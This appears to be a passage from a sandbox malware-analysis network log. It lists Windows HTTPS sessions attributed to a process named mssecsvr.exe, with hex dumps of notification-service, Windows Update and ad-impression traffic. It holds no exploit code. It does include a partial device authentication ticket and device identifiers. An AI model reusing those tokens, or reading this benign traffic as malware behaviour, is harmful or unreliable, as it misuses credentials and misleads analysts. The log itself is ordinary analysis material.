2022-07-20 07:10:14 UTC	8899	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.6	56345	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:19 UTC	8902	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 35 32 32 30 32 37 62 34 31 65 37 33 35 61 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: c522027b41e735ab
2022-07-20 07:10:19 UTC	8902	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:10:19 UTC	8903	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 35 32 32 30 32 37 62 34 31 65 37 33 35 61 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: c522027b41e735ab<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:10:19 UTC	8904	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 35 32 32 30 32 37 62 34 31 65 37 33 35 61 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: c522027b41e735ab<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 07:10:19 UTC	8904	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:10:19 UTC	8904	IN	Data Raw: 4d 53 2d 43 56 3a 20 30 32 74 49 39 48 76 4c 6b 45 43 7a 49 31 2f 32 35 42 44 74 44 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 02tI9HvLkECzI1/25BDtDw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.6	56346	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:19 UTC	8904	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:10:19 UTC	8904	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: c8c8d4dd-8452-4af7-9a58-897a554adc0a MS-RequestId: cf16ca45-3f4f-4ab6-9de5-5bc91f417570 MS-CV: xqBHqtnh6kOob6gs.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:10:18 GMT Connection: close Content-Length: 35877
2022-07-20 07:10:19 UTC	8905	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:10:19 UTC	8920	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 07:10:19 UTC	8936	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.6	56348	20.82.209.183	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:20 UTC	8940	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 1521 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2022-07-20 07:10:20 UTC	8940	OUT	Data Raw: 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 54 49 44 3d 37 30 30 31 32 39 37 30 32 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 30 34 30 32 39 32 36 26 42 49 44 3d 34 33 31 37 34 32 37 35 35 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 54 26 54 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 52 45 51 41 53 49 44 3d 36 37 38 44 34 46 44 46 45 31 31 43 34 34 30 32 38 45 42 34 34 38 32 31 46 39 39 43 43 46 35 31 26 41 53 49 44 3d 39 38 35 31 36 37 32 35 61 61 38 32 34 64 36 66 61 65 39 35 31 38 30 61 39 32 66 36 63 66 35 62 26 54 49 4d 45 3d 32 30 32 32 30 37 32 30 54 31 36 30 38 34 38 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 32 30 37 32 30 54 30 37 30 38 30 35 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 30 32 41 Data Ascii: PID=400091688&TID=700129702&CID=128000000000402926&BID=431742755&PG=PC000P0FR5.0000000IRT&TPID=400091688&REQASID=678D4FDFE11C44028EB44821F99CCF51&ASID=98516725aa824d6fae95180a92f6cf5b&TIME=20220720T160848Z&SLOT=1&REQT=20220720T070805&MA_Score=2&PERSID=02A
2022-07-20 07:10:20 UTC	8941	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 07:10:19 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.6	56393	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:20 UTC	8942	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:10:20 UTC	8943	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 8354d8d1-06ba-4cd8-9028-9dca364ff9b7 MS-RequestId: 8470b564-20ba-443d-88dd-04f09f803d9a MS-CV: AKLs7LgC/UmbaUHD.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:10:20 GMT Connection: close Content-Length: 35877
2022-07-20 07:10:20 UTC	8943	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:10:20 UTC	8959	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 07:10:20 UTC	8975	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.6	56432	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:20 UTC	8942	OUT	GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=431742755&PG=PC000P0FR5.0000000IRT&REQASID=678D4FDFE11C44028EB44821F99CCF51&UNID=338388&ASID=98516725aa824d6fae95180a92f6cf5b&PERSID=02AA8208DC2442607EBF3783DF63721D&GLOBALDEVICEID=6825795053065338&LOCALID=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&DS_EVTID=04038c8eb4ed48e4b20183eb600cb467&DEVOSVER=10.0.17134.1&REQT=20220720T070805&TIME=20220720T160847Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:20 UTC	8978	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 89d18e2d-51f6-47ed-9989-f058cc35ca1a Date: Wed, 20 Jul 2022 07:10:20 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.6	56434	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:21 UTC	8979	OUT	GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=431742755&PG=PC000P0FR5.0000000IRT&REQASID=678D4FDFE11C44028EB44821F99CCF51&UNID=338388&ASID=98516725aa824d6fae95180a92f6cf5b&PERSID=02AA8208DC2442607EBF3783DF63721D&GLOBALDEVICEID=6825795053065338&LOCALID=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&DS_EVTID=04038c8eb4ed48e4b20183eb600cb467&DEVOSVER=10.0.17134.1&REQT=20220720T070805&TIME=20220720T160849Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:21 UTC	8979	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 0e39c2af-5644-432d-9179-fe5850add781 Date: Wed, 20 Jul 2022 07:10:20 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.6	59313	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:11:09 UTC	8979	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 39 34 30 64 63 64 32 34 66 34 31 34 33 32 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 3940dcd24f414325
2022-07-20 07:11:09 UTC	8980	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:11:09 UTC	8980	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 39 34 30 64 63 64 32 34 66 34 31 34 33 32 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 3940dcd24f414325<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:11:09 UTC	8981	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 39 34 30 64 63 64 32 34 66 34 31 34 33 32 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 3940dcd24f414325<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 07:11:09 UTC	8981	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:11:09 UTC	8981	IN	Data Raw: 4d 53 2d 43 56 3a 20 4b 6e 70 51 34 34 43 72 46 55 36 35 55 69 48 43 61 78 30 35 32 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: KnpQ44CrFU65UiHCax052Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	50169	40.126.31.73	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:49 UTC	194	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
